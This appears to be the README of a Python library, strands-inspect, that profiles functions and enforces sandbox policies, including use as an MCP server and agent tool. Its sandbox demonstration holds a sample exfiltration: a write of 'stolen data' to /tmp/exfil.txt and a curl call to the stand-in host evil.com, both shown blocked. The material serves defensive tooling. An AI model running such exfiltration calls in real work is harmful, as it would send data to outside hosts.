strands-inspect

See what your code does. Control what it can do.

pip install strands-inspect

🔌 Use as an MCP server

Use strands-inspect from Claude Code, Claude Desktop, Cursor, Kiro, or any MCP client — the inspect tool (scan, profile, sandbox) becomes an MCP tool.

claude mcp add inspect -- uvx strands-inspect

Claude Desktop config:

{
  "mcpServers": {
    "inspect": {
      "command": "uvx",
      "args": ["strands-inspect"]
    }
  }
}

Options:

strands-inspect --http --port 8000   # HTTP mode, multi-client

@watch — see everything

from strands_inspect import watch

@watch
def fibonacci(n):
    memo = {}
    def fib(k):
        if k <= 1: return k
        if k not in memo: memo[k] = fib(k-1) + fib(k-2)
        return memo[k]
    return fib(n)

result = fibonacci(80)

🔍 InspectSession: fibonacci_20260302_060222
   Function: __main__.fibonacci
   Wall: 0.1ms | Peak mem: 8.0 KB
   Return: 23416728348467685

Add a policy to block what you don't want:

from strands_inspect import watch, PolicyViolation

@watch(policy="sandbox")
def suspicious_task():
    import json
    data = json.dumps({"key": "value"})  # ← allowed

    try:
        open("/tmp/exfil.txt", "w").write("stolen data")  # ← blocked
    except PolicyViolation as e:
        print(f"CAUGHT: {e}")

    try:
        import subprocess
        subprocess.run(["curl", "http://evil.com"])  # ← blocked
    except PolicyViolation as e:
        print(f"CAUGHT: {e}")

    return data

🔍 InspectSession: suspicious_task_20260302_060244
   Wall: 0.1ms | Peak mem: 7.0 KB
   Return: '{"key": "value"}'
   🚫 Denied: 2 syscalls blocked
      - file.write: /tmp/exfil.txt (mode=w)
      - subprocess: curl http://evil.com

@lock — nothing escapes

Kernel-level. macOS Seatbelt / Linux seccomp-bpf. Even ctypes calling libc can't get through.

from strands_inspect import lock

@lock
def try_network():
    import urllib.request
    urllib.request.urlopen("http://example.com")
    return "should not reach here"

try:
    result = try_network()
except RuntimeError as e:
    print(f"Blocked: {e}")

❌ KernelSandbox (seatbelt)
   Wall: 25.7ms
   Exception: URLError: <urlopen error [Errno 8] nodename nor servname provided>

Granular policies

@watch(policy={
    "file.read": {"action": "allow", "paths": ["/tmp/**"]},
    "file.write": "deny",
    "network": {"action": "allow", "hosts": ["*.openai.com"]},
    "subprocess": "deny",
    "import": "log",
})
def guarded():
    ...

20 categories: file.read · file.write · file.delete · file.move · file.chmod · file.link · file.mkdir · file.fd_io · file.special · network · net.socket · subprocess · os.system · os.exec · process.fork · process.kill · process.mp · import · meta.ctypes · meta.code

Agent tool

from strands import Agent
from strands_inspect import inspect_tool

agent = Agent(tools=[inspect_tool])
agent("scan the requests library and find how to POST json")

📦 requests — Version: 2.32.3
📊 12 modules, 184 callables

  - post(url, data=None, json=None, **kwargs) — Sends a POST request
  - get(url, params=None, **kwargs) — Sends a GET request
  ...

16 actions: scan · call · inspect · search · generate · exec · create · list · source · install · profile · graph · connections · hotspots · unused · deps

Replay

Every @watch'd call saves a .dill file:

from strands_inspect import replay

session = replay("fibonacci_20260302_060222.dill")
session.re_run()        # same args
session.re_run(100)     # different args

Viewer

Export JSON. Drop into the web viewer. Memory timeline, CPU flamegraph, syscall log.

session.to_json("profile.json")
# Open docs/index.html → viewer tab

Three layers

Install

pip install strands-inspect

Python 3.10+. One dependency: strands-agents. Everything else is stdlib.

MIT License.